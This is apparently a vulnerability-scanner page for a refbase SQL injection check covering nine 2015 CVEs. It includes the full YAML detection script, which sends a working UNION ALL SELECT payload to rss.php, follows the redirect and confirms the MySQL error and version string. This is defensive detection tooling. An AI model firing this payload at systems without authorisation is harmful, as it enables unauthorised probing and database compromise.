refbase — 1 vulnerability check

noctis ships 1 vulnerability check for refbase, covering 9 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

refbase rss.php 'where' SQL Injection (multiple CVEs)

CVECVE-2015-6007, CVE-2015-6008, CVE-2015-6009, CVE-2015-6010, CVE-2015-6011, CVE-2015-6012, CVE-2015-7381, CVE-2015-7382, CVE-2015-7383
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectiontcp_connect, script, match · highest QoD 75
Feedtests/vulnerabilities/refbase/CVE-2015-6007.yaml

Detects the refbase SQL injection chain by sending a UNION ALL SELECT payload to rss.php, following the 302 redirect, and confirming the server-computed MySQL error string together with the SQL-INJECTION-TEST and refbase markers on the redirect target.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /rss.php?where=%27nonexistent%27+union+all(select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15…
  2. Parses / computes the next value with a Rhai script
  3. Raw TCP (TLS on HTTPS), sent verbatim: GET {{loc_path}} HTTP/1.0
  4. Checks resp2.banner for You have an error in your sql syntax[0-9] → finding QoD 75: refbase SQLi confirmed — UNION ALL SELECT on rss.php 'where' forced a MySQL error ('You have an error in your sql syntax' + @@version) with…

References:

Feed source — tests/vulnerabilities/refbase/CVE-2015-6007.yaml
# Web Reference Database (refbase) — Multiple Vulnerabilities (SQL Injection)
#
# refbase fails to sanitise the `where` parameter of rss.php before using it
# in an SQL query. An unauthenticated attacker injects a UNION ALL SELECT that
# forces a MySQL error and reflects a marker (SQL-INJECTION-TEST).
#
# Ported from OpenVAS/Greenbone NVT 2015/gb_refbase_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.806062, GPL-2.0-only). The NASL flow is preserved
# faithfully: send the UNION ALL SELECT to rss.php, require an HTTP 302, extract
# the `Location:` header, follow it, and only then confirm the finding when the
# followed page contains the SERVER-COMPUTED MySQL error string
# ("You have an error in your sql syntax" + @@version digits) together with the
# extra_check tokens SQL-INJECTION-TEST and refbase. The error+version string is
# produced by the database, not echoed from the request URL, so a page that
# merely reflects the request path/query cannot trigger a false positive.
#
# The payload carries URL-encoded/`+`-separated tokens that reqwest would
# normalise, so every request is sent verbatim over tcp_connect (HTTP/1.0) and
# matched on resp.banner.
uid: 8577abaf-47f3-4ca9-b104-481bae53ed17
name: "refbase rss.php 'where' SQL Injection (multiple CVEs)"
description: |
  Detects the refbase SQL injection chain by sending a UNION ALL SELECT payload to
  rss.php, following the 302 redirect, and confirming the server-computed MySQL error
  string together with the SQL-INJECTION-TEST and refbase markers on the redirect
  target.
cves: [CVE-2015-6007, CVE-2015-6008, CVE-2015-6009, CVE-2015-6010, CVE-2015-6011, CVE-2015-6012, CVE-2015-7381, CVE-2015-7382, CVE-2015-7383]
cvss: 7.5
severity: high
confidence_base: 0.30
category: sqli
tags: [refbase, sqli, openvas, web-application-abuses]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2015-6007"
  - "OpenVAS/Greenbone NASL 2015/gb_refbase_mult_vuln.nasl (OID 1.3.6.1.4.1.25623.1.0.806062, GPL-2.0-only)"

steps:
  # 1 — send the UNION ALL SELECT payload to rss.php verbatim (HTTP/1.0).
  #     A vulnerable refbase answers with a 302 redirect to show.php.
  - id: sqli-probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET /rss.php?where=%27nonexistent%27+union+all(select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,concat(%27version:%27,%27You%20have%20an%20error%20in%20your%20sql%20syntax%27,@@version,%27%27,%27SQL-INJECTION-TEST%27),34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50)--%20- HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: resp

  # 2 — require the 302 and extract the Location target, exactly as the NASL's
  #     eregmatch(pattern:"Location: ([0-9a-zA-Z.?=&%_-]+)") does, prefixing "/".
  #     loc_path stays "" (so the follow + confirm steps are skipped) when there
  #     is no 302 redirect — e.g. against a patched server.
  - id: extract-location
    action: script
    code: |
      let loc = "";
      if ereg("HTTP/1\\.[01] 302", resp.banner) {
        let m = eregmatch("Location: ([0-9a-zA-Z.?=&%_-]+)", resp.banner);
        if m.len() > 1 && m[1] != "" {
          loc = "/" + m[1];
        }
      }
      loc
    store_as: loc_path

  # 3 — follow the redirect (second GET), as the NASL does via http_vuln_check.
  - id: follow-redirect
    action: tcp_connect
    port: "{{port}}"
    condition: 'loc_path != ""'
    send: "GET {{loc_path}} HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: resp2

  # 4 — confirm on the FOLLOWED page: the server-computed MySQL error string
  #     with @@version digits (cannot come from a URL reflection), gated by the
  #     SQL-INJECTION-TEST and refbase extra_check tokens (NASL extra_check list).
  - id: confirm-sqli
    action: match
    condition: 'loc_path != "" && stridx(resp2.banner, "SQL-INJECTION-TEST") >= 0 && stridx(resp2.banner, "refbase") >= 0'
    source: resp2.banner
    pattern: "You have an error in your sql syntax[0-9]"
    on_match:
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "refbase SQLi confirmed — UNION ALL SELECT on rss.php 'where' forced a MySQL error ('You have an error in your sql syntax' + @@version) with the SQL-INJECTION-TEST and refbase markers on the followed redirect target at {{target_host}}:{{port}}"

View these feeds on GitHub